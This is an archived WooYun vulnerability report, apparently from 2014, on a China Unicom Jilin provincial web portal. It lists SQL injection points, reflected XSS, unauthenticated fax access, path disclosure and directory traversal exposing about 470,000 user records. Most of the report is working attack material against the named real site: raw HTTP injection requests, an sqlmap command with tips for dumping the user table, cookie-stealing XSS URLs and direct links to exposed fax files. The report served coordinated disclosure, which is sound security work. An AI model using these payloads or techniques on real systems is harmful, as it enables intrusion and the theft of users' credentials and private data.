乌云(WooYun.org)历史漏洞查询---http://wy.zone.ci/
乌云 Drops 文章在线浏览--------http://drop.zone.ci/
2014-10-24: 细节已通知厂商并且等待厂商处理中 2014-10-29: 厂商已经确认,细节仅向厂商公开 2014-11-08: 细节向核心白帽子及相关领域专家公开 2014-11-18: 细节向普通白帽子公开 2014-11-28: 细节向实习白帽子公开 2014-12-08: 细节向公众公开
中国联通某省公司多处SQL+多处XSS+传真越权+路径泄露+传真内容遍历,导致47万用户名密码泄露
中国联合网络通信有限公司 吉林省分公司www.m10060.com先来SQL:第一个
GET /common/phone/mailManger/sms_note/notesearch_submit_other.jsp?sclasses=1 HTTP/1.1X-Requested-With: XMLHttpRequestReferer: http://www.m10060.com:80/Cookie: JSESSIONID=aE4bZsdZB15hHost: www.m10060.comConnection: Keep-aliveAccept-Encoding: gzip,deflateUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0Accept: */*
第二个:
GET /common/phone/msgmanger/msgTypeDetail.jsp?sclasses=1 HTTP/1.1X-Requested-With: XMLHttpRequestReferer: http://www.m10060.com:80/Cookie: JSESSIONID=aE4bZsdZB15hHost: www.m10060.comConnection: Keep-aliveAccept-Encoding: gzip,deflateUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0Accept: */*
第三个:
POST /common/login_submit.jsp HTTP/1.1Content-Length: 171Content-Type: application/x-www-form-urlencodedX-Requested-With: XMLHttpRequestReferer: http://www.m10060.com:80/Cookie: JSESSIONID=aE4bZsdZB15hHost: www.m10060.comConnection: Keep-aliveAccept-Encoding: gzip,deflateUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0Accept: */*doLogin=true&hostname=m10060.com&password=g00dPa%24%24w0rD&redirectStr=allframe.htm&Submit=%b8%f6%c8%cb%b5%c7%c2%bd&username=3PJ0TgNj
顺便说一句:如果想获得ymaildb这张表的用户数据,不能按照先-D --tables,得直接-D -T --columns,不然会找不到列名,或者用--sql-shell:<看了下47万多用户>
[root@Hacker~]# Sqlmap -r C:\Users\Administrator\Desktop\Desktop\5.txt --dbms=mssql -D ymaildb -T users --columns
XSS:第一个:
http://www.m10060.com//common/phone/sendfax/failerror.jsp?errorMessage=3--%3E%3CScRiPt%20%3Eprompt%28document.cookie%29%3C/ScRiPt%3E%3C!--
http://www.m10060.com/common/login.jsp?hostname=m10060.com&message=%25B5%25C7%25C2%25BC%25CA%25A7%25B0%25DC%25A3%25AC%25C7%25EB%25D4%25DA%25B8%25F6%25C8%25CB%25B5%25C7%25C2%25BD%25C8%25EB%25BF%25DA%25B5%25C7%25C2%25BD!_%3C/script%3E%3Cscript%3Eprompt%28document.cookie%29%3C/script%3E&username=lxkhuxia
http://www.m10060.com//login.jsp?hostname=m10060.com&message=%25B5%25C7%25C2%25BC%25CA%25A7%25B0%25DC%25A3%25AC%25C7%25EB%25D1%25E9%25D6%25A4%25C4%25E3%25B5%25C4%25CA%25E4%25C8%25EB%25B5%25C4%25D3%25C3%25BB%25A7%25C3%25FB%25BA%25CD%25C3%25DC%25C2%25EB%25CA%25C7%25B7%25F1%25D5%25FD%25C8%25B7.%25B5%25C7%25C2%25BC%25CA%25A7%25B0%25DC%2c%25D3%25C3%25BB%25A7%25B2%25BB%25B4%25E6%25D4%25DA_%3C/script%3E%3Cscript%3Eprompt%28document.cookie%29%3C/script%3E&username=arwxpoeo
第四个:
http://www.m10060.com//login.jsp?username=jagfewcb&hostname=m10060.com_%3C/script%3E%3Cscript%3Eprompt%28983227%29%3C/script%3E&message=%B5%C7%C2%BC%CA%A7%B0%DC%A3%AC%C7%EB%D1%E9%D6%A4%C4%E3%B5%C4%CA%E4%C8%EB%B5%C4%D3%C3%BB%A7%C3%FB%BA%CD%C3%DC%C2%EB%CA%C7%B7%F1%D5%FD%C8%B7.%C3%BB%D3%D0%D5%E2%B8%F6%D3%F2,name:%20m10060.com_%3C/script%3E%3Cscript%3Eprompt%28document.cookie%29%3C/script%3E1
越权+服务器绝对路径泄露:本来传真功能只有登陆用户才能使用的
http://www.m10060.com//common/phone/sendfax/fax_new.jsphttp://www.m10060.com//common/phone/sendfax//txt//20141024120428.txt
目录遍历+用户传真内容泄露:<任何用户都可以访问>
http://www.m10060.com//common/phone/sendfax//txt/http://www.m10060.com//common/phone/sendfax//txt//20141024120428.txt
危害等级:高
漏洞Rank:14
确认时间:2014-10-29 09:03
CNVD确认并复现所述情况,已经转由CNCERT下发给吉林分中心,由其后续协调网站管理单位处置。按多个风险点综合评分,rank 14
暂无